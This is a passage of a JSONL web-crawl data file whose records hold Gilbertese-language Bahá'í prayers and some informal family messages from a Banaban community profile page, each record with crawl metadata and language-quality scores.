1.0000100135803223}","num_words":89,"character_repetition_ratio":0.115,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.382,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI NATIN TE KATAUTAU!\nAtaia ni koaua, bwa ngkai e tabe n tabwena nako ootan te ingaabong i aon oraitanin te taburoroko ae akea tokina, ana karaba nako n taatan ao mwakuri ake a karaoaki n roon te tairiki a nang bane n oti raoi ma ni kaotaki i mataia aomatan te aonaaba.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=110403680&to=gil","date":"2019-09-20T08:43:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573908.70\/warc\/CC-MAIN-20190920071824-20190920093824-00206.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.389,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI RAAO!\nMataroa ake a uki n te Tabo-ae-akea a tei iai n rababa ao ana tabo ni maeka temanna are e tangiraki e a katamaroaaki ma raraan ana tangira, ma ti tabeman ake a tiku ni kamwawaaki man te kaawa ni karawa aei, ao mai buakoia aika ti tabeman aikai, akea ma e karako ake a kuneaki bwa a kororaoi nanoia ao a kamimitongaki tamneia.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=40503180&to=gil","date":"2019-09-19T16:22:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573533.49\/warc\/CC-MAIN-20190919142838-20190919164838-00426.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":67,"character_repetition_ratio":0.03,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.463,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E na kamoamoaaki Aram, O te Uea Atuara! Ngkoe ni koaua te Tia Atai bwaai aika a aki noonoraki. Kataua ibukira bwaai aika a tamaroa n aron ae Ko kona ni baireia man Am atatai ae e rabwatii bwaai ni kabane. Ngkoe ni koaua te Uea ae tautaekanii bwaai nako, te Kabanea ni Korakora, Moan te Tangiraki.\nKamoamoa ni kabane e bon Nakoim, O te Uea! Ti na ukoukora Am tituaraoi n te Bong are e a tia n rineaki ao ni katuka ara onimaki ae e bwanin Iroum, Are Ngkoe Ara Uea, Ko na Kamimitongaki, O te Atua! Kataua ibukira te bwai ae e raoiroi ma n tau bwa ti aonga ni kamwaawaira man bwaai ni kabane ma Ngkoe. Ni koaua, Ngkoe te Uea iaon aonnaba ni kabane.\nTe Atua! Kabooi mwiin aia mwakuri naake a waaki inanon te taotaona n nano inanon Am bong, ao kamatoai nanoia bwa a na nakonako n aki tibanako inanon kawain te Koaua. Kataua ngkanne, O te Uea, taian bwaintangira aika a tamaroa are e na kona ni kariaia riniia inanon Am Bwaretaiti ae e tabwanin kakukureina. Ko karietataaki Ngkoe, O te Uea te Atua. Kariaia Am kakabwaia ni karawa bwa a na ruonii mwenga ike kaaina a tia ni Kakoauako. Ni koaua, bon akea ae e Riaom ni karuoi taian kakabwaia n tamnei. Anganako, O te Atua, kaain te runga ake a na kona ni katokanikaiia Am toro aika a kakaonimaki. Ko bon karioi bwaai ake a karikaki rinanon mwaakan Am taeka n Aron ae Ko bon tangiria. Ngkoe ni koaua bon te Tia Tautaaeka, te Tia Karikibwai, te Kabanea ni Wanawana.\nAtonga: Te Atua bon te Tia Karaoi bwaai ni kabane. E anga kamarikeaia n te mwaiti ae e taonako nakoia naake E bon kataua ibukiia. Bon Ngaia te Tia Karikibwai, Boton bwaai ni kabane, te Tia Karioi bwaai nako, te Kabanea ni Korakora, te Karaoi bwaai nako, te Kabanea ni Wanawana. Ngaia te Tia Uouotii aara aika moan te rianako rinanon karawa ao aonteaba ao bwaai ake a wene i marenaia. Ni kabane a karaoa are E taku, ao ni kabane taan maeka iaon te aba ao i karawa a neboa Kamoamoaakina, ao Nakoina are ni kabane a na Okiria.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=20203010&to=gil","date":"2019-09-20T06:26:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573832.23\/warc\/CC-MAIN-20190920050858-20190920072858-00335.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":31,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":370,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.378,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko na neboaki Ngkoe Atuau! Bon Am toro ni koaua aei ao Am toro naba te aine aei, ake a tia ni karikiia n ti te irikona i aan nuun Am nanoanga. Te Uea! Buokiira i nanon te aonaaba aei ao n Abanueam ni karekea nakoia baika a raoiroi man Am atataiaomata ao Am tangira. Te Uea! Kateimatoaiia i nanon aia beku i Bukim ao buokiia n Am kairiiri. Karikiia bwa kanikinaaean Aram n Am aonaaba ao kaawakiniia i nanon Am kairiiri aika akea tiaia n te maiu aei ao n ae e na roko. Te Uea! A bubutii nakon Abanuean Am aakoi, ma ni kan buokaki nakon te tabo ae Kaonotiko. E bon koaua bwa a mareaki bwa a na ira nanon Am tua. Karikiia bwa a na riki bwa kanikinaaean te rau ma te iraorao ni karokoa tokin te tai.\nBoni Ngkoe ae Moan te Mwaaka, Ko mena n taabo ni kabane ao Moan te Kakannato.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=80203040&to=gil","date":"2019-09-18T00:10:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573124.40\/warc\/CC-MAIN-20190917223332-20190918005332-00104.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":32,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":158,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.392,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Are e tangiria n atonga te tataro aio, ke e tei ao n rairaki nakon Te Atua, ao, ngke e tei i aon ana tabo, e na taraa te angaatai ao te angamaing, n aron ae e tataninga Ana nanoanga te Uea, te Kabanea n Nanoanga, te Moamoaaomata. Ngkanne ke e atonga aei:\nO Ngkoe aia Uea aara nako ao te Tia karaoi taian karawa! I Butiiko irouia Naake Ngaiia Bongin-Rikiraken Oioim ae e aki nooraki, te Kabanea n Rietaata, te Kabanea ni Mimitong, ni karaoa au tataro bwa te ai are e na kabueki rabunanimata nako ake a kainai man Tamaroam, ao te oota are e na kairai nakon marawan Kaaniam.\nKe e tabeki baina n ai aron ae e bubuti nakon Te Atua—are e kakabwaiaaki ao ni karietataaki Ngaia—ao n atonga aei:\nO Ngkoe are e kainnanoia te aonaaba ao are E tangiraki irouia aaba nako! Ko noorai ngkai n rairaki Nakoim, ao n taua Am roobu, are ni kakamwakurina e a tia ni mwaing iai te karikibwai. Boni ngai am toro, Ngkoe au Uea, ao natin Am toro. Ko noorai ngkai I tei n tauraoi ni karaoa are Nanom ao are Ko tangiria, ao n akea te bwai ae I tangiria bwa ti are Kukureim. I Butiiko ni Marawan Am nanoanga ao n Itoi ni Ngainan Am raoiroi bwa e na karaoia Am toro are Ko nano iai ma n tangiria. Ni korakoram are e riaon bwaai ni kabane ake a taekinaki ao n neboaki! O Ngkoe Te Atua, ae Atuau! Tai taratarai au kaantaninga ma au mwakuri, ma ko na tara Nanom are e a tia n otabwanini karawa ma aon te aba. N Aram ae Moan te Kakannato, O Ngkoe aia Uea aaba nako! I ti nano n are Ko nano iai, ao n tangira are Ko tangiria.\nKe katorobubua, ni bobaraaki ni kaboa ramwana ma aontano, e atonga aei:\nKo bon karietataaki i aon aia kabwarabwara tabeman ma ti Ngkoe, ao akea riki aia atatai ma ti Ngkoe.\nKe e tei ao n atonga aei:\nKarika au tataro, Ngkoe te Uea, bwa te koburakenran ae maiu, are I kona ni maiu iai ni maanin Am tautaeka, ao n Atoatongko ni katoai nako aonaaba ake Am aonaaba.\nKe e tabeki baina ni bubutii, ao n atonga aei:\nO Ngkoe are Mwaawam man naano ao tamnei are a rannako iai, ao n ain Am tangira are e a tia ni urarake te aonaaba ae bwanin! I Butiiko n Aram are rinanona Ko a tia iai ni kateimatoa Am karikibwai, n aki taua nakoiu are bon iai Iroum, O Ngkoe are E tautaekan aroia aomata! Ko noora te ianena, O Ngkoe au Uea, are e kawaekoa nakon mwengana ae kabanean te rietaata i aan umwan Ueam ao i nanoaan Am tabo n nanoanga, ao ae e aki kororaoi aei ae e ukoukora marawan Am kabwarabure; ao ae e rinano aei botakin Mimitongim, ao te karikibwai ae e kainnano aei ae e kan ataa Kaubwaim. Bon Am bwai te tautaeka n aron are Ko tangiria. I kaotia ma te koaua bwa Ko na bon neboaki n Am mwakuri nako, ao n iraki nanon Am kaetieti, ao n teimatoa n inaomata n Am tua.\nKe e tabeki baina, ao ni kaokiokia n atonga te Ara are Moan te Kakannato [Alláh'u'Abhá] tenua te tai. Ke e bobaraaki ni katokai baina i aon bubuanwaena i matan Te Atua—Te kakabwaiaaki ao te karietataaki—ao n atonga aei:\nKo noora, O Ngkoe Atuau, aron tamneiu ngke e kamwaingaki i nanon bwain nako rabwatau, ma ingaingana ni kan Taromauriiko, ma nanona ni kan Uringko ao n Neboiko; arona ni kakoauaa are e a tia ni kakoaua iai Newen Am Kaetieti n abanuean Am taeka ao karawan Am atatai. I tangiria, n arou aei, O Ngkoe au Uea, ni Butiiko bwaai ni kabane ake Iroum, bwa I aonga ni kaotiota kainnanou, ao ni kabubura Am kakabwaia ma Am kaubwai, ao ni kona ni kaota mamaarau, ao ni kaotiota Mwaakam ao Korakoram.\nKe e teirake ao n tabeki baina ni bubuti uoua te tai ni bubutii, ao ni kaangai:\nBon akea Te Atua bwa ti Ngkoe, Kabanean te Mwaaka, te Kabanea n Atataiaomata. Bon akea Te Atua bwa ti Ngkoe, te Tia Katabu, ni kauatabo n te moa ao n te toki. O Ngkoe, Atuau! Am kabwarabure are e a tia ni kamatoaai, ao Am nanoanga e a tia ni kakorakoraai, ao e a tia ni kautai Am wewete, ao e a tia ni kateirakeai Nakoim Am raoiroi. Antai ngai, ngkana tiaki, are e na kona n tei ni mataroan kaawan Kaaniam, ke ni katoka matau nakon oota ake a ootanako man karawan Nanom? Ko bon noora, Ngkoe au Uea, te karikibwai ae e rawawata aei ni karebwerebwe ni mataroan Am raoiroi, ao te tamnei ae tiotio nako aei are e ukoukora karaangan te maiu are akea tokina man bain Am kakabwaia. Bon Am bwai te tautaeka n taai nako, O Ngkoe are Uean aara ni kabane, ao au bwai butimwaean ao te angarake nanou nakon Nanom, Ngkoe te Tia Kariki taian karawa!\nKe e teirake ao n tabekarake baina tenua te tai, ao ni kaangai:\nE korakora riki Te Atua nakon bwaai nako ake a korakora!\nKe e katorobubua ao, ni kabobaraaka ramwana nako aontano, ao ni kaangai:\nKo bon rangin rietaata i bukin aia nebo naake a kaan Nakoim bwa a na rierake nakon karawan Kaaniam, ke mannikiban nanoia naake a baabanennano Nakoim ni karekean mataroan te kawai n rin Nakoim. I kaotia ma te koaua bwa ko a bon tia ni kamimitongaaki i aon aroaro nako ao n tabu i aon aara nako. Bon akea riki Te Atua bwa ti Ngkoe, te Kabanea ni Karietataaki, te Kabanea ni Mimitong.\nKe e tekateka ao ni kaangai:\nI kaotia ma te koaua nakon are a tia ni kakoaua iai karikibwai ni kabane, ao te Runga ni Karawa are e rietaata, ao kaain nako te Baretaiti are te kabanea n rietaata, ao i aoia riki bon te Newe are E Mimitong man te Oraitan are te kabanea ni mimitong, bwa boni Ngkoe Te Atua, ao bon akea riki Te Atua bwa ti Ngkoe, ao Teuare E a tia ni kaotaki bon te Kamiimi are e Raba, te Kanikina are e Kakaawaki, are rinanona manintaeka aika B ao E are a tia ni uaia n rarangaaki. I kaotia ma te koaua bwa Teuare Arana are e a tia ni koreaki iroun Kainikorobokin te Kabanea n Rietaata, ao are E a tia ni mwaneweaki n Ana Boki nako Te Atua, Uean te Kaintokanuea are e rietaata ao te aonaaba i nano.\nKe e kainetia ao n atonga aei:\nO Ngkoe are Uean taian maiu nako ao te Tia Bwain bwaai nako aika a nooraki ao aika a aki nooraki! Ko bon noori rannimatau ma nanokaawakiu, ao n ongo au bwaebwaeti, ao tanginiweneiu, ao tangin nanou. Ni Mwaakam! Au kabwaka nako ake a tia n tauai man Kaaniam; ao a tia ni kararoaai au bure man Am botaki ae tabu. E a bon tia Am tangira ni karikirakeai, O Ngkoe au Uea, ao raurenakou Mairoum are e a tia n uruanai, ao raroau Mairoum are I a tia n rootaki iai. I Butiiko ni kawaim nako n te rereua aei, n taeka ake \"Bon aei ngai. Bon aei ngai\" are a tia n taekinna n te otabwanin aei, ao n ikeiken nako Am Kaotioti, ao karauraun angin nako Ingaabongin Kaotiotam, ni kataua bwa I aonga n tara Tamaroam ao n iri nanon baike i nanon Am Boki.\nKe e kaokioka atongan te Ara are Moan te Kakannato tenua te tai, ao ni bobaraaki ni katikui baina i aon bubuanwaena, ao e atonga aei:\nTe nebonebo Nakoim, O Ngkoe Atuau, bwa Ko a tia ni buokai bwa Nna Ururingko ao n Neboiko, ao Ko a tia ni karekea ataakina irou Teuare Ngaia Rikiraken Bongin Am kanikina nako, ao Ko a tia ni karikai bwa Nna bobaraaki i matan Rikiam ni Uea, ao ni kamangorai i matan Arom n Atua, ao ni manga taekin baike a taekinaki n Newen Mimitongim.\nKe teirake ao n atonga aei:\nTe Atua, ae Atuau! E a bwaoua nuukau n rawawatan au bure, ao e a uruanai au aki tatabeakin. N te tai are I iangoi iai au mwakuri aika a bubuaka ao Am moamoaaomata, e ran nako buroou i nanou, ao e a buro raraau i nanon iau. N Tamaroam, O Ngkoe are E kainnanoia te aonaaba! I maamaa n tabekaarake matau Nakoim, ao a nuka baiu aika a kariaria n taakin nakon karawan Am kakabwaia. Ko bon noora, Atuau, aron rannimatau ngke a tuukai man Uringam ma neboan Aroarom nako aika a raraoi, O Ngkoe Uean te Kaintokanuea are e Rietaata ao i aon te aonaaba are i nano! I Butiiko ni kanikinaean nako Ueam ao kamimiin nako Am tautaeka bwa ko na karaoia nakoia ake Ko tangiriia are e na riki bwa Am kakabwaia nakoia, O Ngkoe Uean taian maiu nako, ao e tau i bukin Am raoiroi, O Ngkoe Uean te nooraki ao te aki nooraki!\nKe e kaokiokia n atonga te Ara are Moan te Kakannato tenua te tai, ao ni katorobubua ao ni kaboa ramwana ma aontano, ao e kaangai:\nTe nebonebo Nakoim, O Ngkoe Atuara, bwa Ko a tia ni karuoa nakoiira are e na uotiira ni kaniira Nakoim, ao ni kakatauraoi i bukira ma baike a raraoi ake a tia ni karuoaki mai Iroum n Am Boki nako ao Am Reirei. Kamanoira, ti Butiiko, O Ngkoe au Uea, mairouia naake akea nanon aia koaua ma aia katautau aika akea uaaia. Boni Ngkoe, ni koaua, te Korakora, te Kabanea n Ataibwai.\nKe e tabekarake atuuna, ao ni kainetia n tekateka, ao e atonga aei:\nI kakoaua, O Ngkoe Atuau, nakon are a tia ni kakoaua naba iai naake Ko rineiia, ao are a tia ni kaota kakoauaan are a tia ni kakoauaa naba naake kaain te Baretaiti are te kabanea n rietaata ao naake a rarauniia Am Kaintokanuea ae mwaaka. Bon Am bwai abanuean te aonaaba ao karawa, Ngkoe Uean aonaaba nako!","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=100101040&to=gil","date":"2019-09-19T09:44:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573465.18\/warc\/CC-MAIN-20190919081032-20190919103032-00298.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":39,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1682,"character_repetition_ratio":0.062,"word_repetition_ratio":0.002,"special_characters_ratio":0.223,"stopwords_ratio":0.402,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Atua, ae Atuau! Kaotai moaia Am koraki ake a Tatangiriko ni koaua, ao buokiia ni barongaia anera n te tokanikai ae e koaua raoi. Kamatoai waeia i aon Kawaim ae e eti, ao man Am tituaraoi are mangkoa kauki i mwaaiia mataroan Am kakabwaia; bwa a kaakabanea i aon Kawaim baike Ko a tia n anganiia, n tararuaa Am Aro, ni katutuka aia mwioko i nanon aia Ururingko, n angaanga nanoia i bukin Tangiram, ma n aki tauanibwai ni kaubwaiia i bukin neboan Tamaroam, ao ni kakaaei aanga i bukin Kakukureiam.\nAu Uea! Baairea i bukiia te tibwa ae mwaiti, te kabomwi are e kaman katauaki ao te kanuwanga ae koaua.\nBoni Ngkoe, ni koaua, te Tia Angaanga te Maiu, te Tia Buobuoki, te Aakoi, te Tituaraoi, te Angaanga n taai nako.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=60210010&to=gil","date":"2019-09-20T06:30:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573832.23\/warc\/CC-MAIN-20190920050858-20190920072858-00367.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":133,"character_repetition_ratio":0.033,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.383,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Atua, karikirakea te teei aei i nanon Tangiram, anganna te amwarake teuana mai nuukan nanon Am aakoi ae riai i bukina, ao kaawakinna raoi ni nnen rootin Am tangira ao kamaiua n ranin Am aakoi. Karikia bwa ataein Abanueam ao kairia i nanon Taekam. Ngkoe ae moan te Mwaaka ma n Aakoi ao moan te Ataataiaomata, are E moa i aon bwaai ni kabane Ana Karaoiroi.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=60203030&to=gil","date":"2019-09-20T13:27:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574018.53\/warc\/CC-MAIN-20190920113425-20190920135425-00037.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":37,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":67,"character_repetition_ratio":0.017,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.358,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te tataro ibukin te mate e kakabonganaaki i bukiia kaain te Baha'i ake e a tia ni koro 15 aia ririki. \"Ti aio te tataro ni Baha'i ae e kabaebae are e ananaaki n te bwanin; e na anaaki iroun temanna te tia onimaki ao ni kabane ake a roko a na tei. Akea baaireakina bwa e na kaitaraaki te Qiblih n anaaki te tataro aio.\"\n— A Synopsis & Codification of the Kitáb-i-Aqdas\nAtuau! Bon Am toro aio ae te nati te mwaane ae natin Am toro are e a tia ni Kakoauako ma Am kanikina, ao ni kaineta moana Nakoim, ni kabwaninaki ni kamwaawaaki man bwaai nako ma bon ti Ngkoe. Bon Ngkoe, ni koaua, te kabanea n ataataiaomata mai buakoia naake a kaota te ataataiaomata.\nNgkoe Are E kakabwarai bureia aomata ao E kakarabai aia kaairua, baairea taekana n ai aron botaun karawan Am tituaraoi ao marawan Am raoiroi. Kariaia rinna i nanon Oon Am ataataiaomata ae e riao are iai i mwaain bouakinan te aba ao karawa. Bon akea te Atua bwa ti Ngkoe, te Kaakabwarai bure, te Kabanea n Tituaraoi.\nNgkanne e na atongaki onoua te tai te taeka ni kamauri ae \"Alláh'u'Abhá\", ao a na manga atongaki kaka tebwimaruaiwa te tai kiibu aika a koreaki i nano n tatabeua nako.\nNi koaua, ti bon bane n taromauria Te Atua.\nNi koaua, ti bon bane ni katorobubua i matan Te Atua.\nNi koaua, ti bon bane ni kabanei nanora i bukin Te Atua.\nNi koaua, ti bon bane n anga te nebonebo nakon Te Atua.\nNi koaua, ti bon bane n takaarua ni katituaraoi nakon Te Atua.\nNi koaua, ti bon bane ni kaantaninga iroun Te Atua.\nNgkana te mate te aine, ke e na atonga: Bon Am tabonibai te aine aio ao te nati te aine ae natin Am tabonibai, etc...","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=204000&to=gil","date":"2019-09-19T16:26:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573533.49\/warc\/CC-MAIN-20190919142838-20190919164838-00477.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":30,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":304,"character_repetition_ratio":0.113,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.405,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O Ngkoe Are Moamoam bon boton au tangira, Are Tamaroam bon au nono, Are mwengam au kouru, Are kamoamoaakim bon au kantaninga, Are Am kakaawakin bon raaraou, Are Am tangira bon bukin karikau, Are atongan Aram bon karauakiu, Are Kaanim nakoiu bon au kantaninga, Are Menam I rarikiu bon nanou ae e korakora ao au kantaninga ae te kabanea n rietaata; I bubuti Nakoim bwa Ko na aki tukii mai irou bwaai ake Ko katauii ibukiia naake a rineaki ibuakoia Am toro. Kataubobongaai, ngkanne, ma tamaroan te aonnaaba aio ao ae e na roko.\nNgkoe, ni koaua, bon Ueaia aomata nako. Akea riki te Atua bwa ti Ngkoe, te Kabanea n Nanoanga, te Kabanea n Tituaraoi.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=170212010&to=gil","date":"2019-09-20T04:17:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573827.2\/warc\/CC-MAIN-20190920030357-20190920052357-00287.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":35,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":116,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.302,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Au Uea! Au Uea! I Neboiko ao I Katituaraoiko bwa Ko a tia n nanoangaa Am toro te aine ae mangori aei. E bon karinanoa ma ni Kamoamoako Am toro aei ngkai Ko a tia ni kairia nakon Ueam ma n kaongoa Am weewete ae moan te rietaata nakon te aonaaba aei, ao Ko anganna naba te noraaba bwa e na noori Am kanikina ake a konaa ni kakoaua Am tautaeka n tokanikai i aon bwaai nako. Au Uea! I a bon anganiko te ataei ae i nanon birotou aei bwa e aonga n riki bwa ataein Abanueam ae moan te bongana, bwa e na rikirake i nanon Am tangira, e na maiu ma n rikirake i aan Am kaawakin ma Am kairiiri. E bon koaua! Bwa boni Ngkoe te Aakoi. E bon koaua bwa boni Ngkoe ae moan te bati Am bwai n Aakoi.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=140206090&to=gil","date":"2019-09-20T13:28:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574018.53\/warc\/CC-MAIN-20190920113425-20190920135425-00057.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":145,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.386,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O Ngkoe te Atua ae akea Kabotauana, O Ngkoe Uean te Abanuea! Tamnei aikai, bon kaain Am taanga ni buaka ni karawa. Buokia ao n raonaki irouia kaain te Runga mai Ieta, anganiia te tokanikai bwa aonga n riki n tatabemaniia nako bwa ai aron te taanga ni buaka man tauu aba aikai rinanon Ana tangira te Atua ao kaotanakoan taian reirei n tamnei.\nO te Atua, riiki Ngkoe bwa aia tia boutoka ao aia tia ibuobuoki ao, n taabo nako aika aki maekanaki, iaon maunga, inanon mwarua, ibuakonikai, inanon tawaana ao riaon marawa, riiki Ngkoe bwa te Tia Onimakinaki irouia bwa aonga n tatakarua, rinanon mwaakan te Abanuea ao ikeiken te Tamnei ae Raoiroi.\nNi koaua bon Ngkoe te Mwaaka, te Korakora ao te Tia Konai Bwaai nako, ao bon Ngkoe te Wanawana, te Tia Ongongo ao te Matairiki.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=90210070&to=gil","date":"2019-09-20T13:28:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574018.53\/warc\/CC-MAIN-20190920113425-20190920135425-00120.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":140,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri..long tme.....kam uara ngkai? ne te bubuti ae mangori mai ikai a nga ngkai Banian ma? tera aia eamil address?plz ko kona n tuangiia ba i rangi ni ongora mai irouiia..tel them 2 email me kitabbiara@gmailcom plz tera tera aron ae nna reitaki ma ngaiia? plz it urgen!!!tekeraoi te waki...ia manga ongora mai iroum....\nti bon bane ni marurung ni kabane including the kids. mum and dad were al in Lautoka with kiebu and they're well. biara is with them too but only david is sailing on a long line chinese fishing boat for 2 months.karibang ea tiba nako naba Tuvalu ba e holiday ikai for 2 months.\nami number are#95400 tia bora n ororeiia but no answer....check it out properly...well our mobile no# +679 7115452 and the landline no# +679 3622492.\nWe really want to send some stuff for u guys including the kids but we think we will send it either SAFE HANDED by someone going across or send it through a courier. First of all we would like to find out a more frequently used number from you guys so we can ring.\nai bon tekatekeraoi nakoimi nakoim ao ataei moaraa riki nakon tabine ma te baby...\nmauri mauri gaia gai kanne bon arau mereani.............you might forgot me but since you are young we do remember that long time ago you are one that brought up n te umantabu are i bkai........ao rimi kam maga tiku i nakoro i rarikia am unty ae arana nei mwe..........ko ataia ko bon nag warereke riki nakoira ba bukina gai bon rorou nei caroline ma other gangs from bkai........ke koreirei ao konag wanana bukina gaira kanne ti bon ata arom are kee ko kinder ao ko nag babarantiko...........i taku ba kona bon un taekam aei ma e nag kaga riki ba ti bon kinako ma te kananokawaki ba gaia ko a maniga taekara kee.........aetau ma kana konakomai ao kanne tiabon kabararaira roi nakoim ba itaku ba tikee ae ko aki kinaira.........ma tamam ao am utu ikai a bon kinai.......etau e tekeroi am bong aei ao tia maga reitaki riki kana ko mawa..\nisa lewa ko kakateke ba ko nag atainaine euara ko na nako n negai nako rabi............mehn ko aki mitina tamam ao manem.....tao ko tatarebon ma gaia ma ko aki noria ni matam kee................ etau ma ko amaga reitiko mai kanne kee\noh congratulation ko pass am form 7 ke,gaia anne keiakina ba bon gaia kigin te kabaia...eang naron are kotaku ibukin te kamauri,akea ngkoe iai te kagaga..nag bonako moa nikagai ma koa maga reitia ma ikanne reken am tai ker,tau tekeraoi te waki nte ririki ae boou aio...moce!\nMauri n Te Ririki ae Boou,\nKo uara moa?? Au kantaninga ba ko bon marurung raoi. OK your dad gave this message: \"Mauri natiu n te ririki ae boou ao am koraki ikanne! Ia tia ni biriakina kantokami n nakomai ma iaon kawaina ao Ia manga kaongoi ngkami ngkana ea nakoati. Kam na kakatauraoi ngkami ba n te tai are e nakoati iai kantokami ao kama nakomai naba. Tiboo moa\" So anne ana message tamam\nRegards","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/banabanvoice.ning.com\/profile\/tereua","date":"2019-09-15T19:57:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514572289.5\/warc\/CC-MAIN-20190915195146-20190915221146-00390.warc.gz","language":"gil","language_score":0.9898931384,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9898931384086609}","num_words":507,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.172,"flagged_words_ratio":0.0,"lang_id_score":0.988,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A kona taan kabutanakoa boiararan te Atua n atonga te tataro aei ni katoa ingabong:\nO te Uea, Atuau! Te nebonebo ao te karabwarabwa Nakoim bwa Ko a tia ni kairai nakon te kawai ni koaua nakon te abanuea, ni 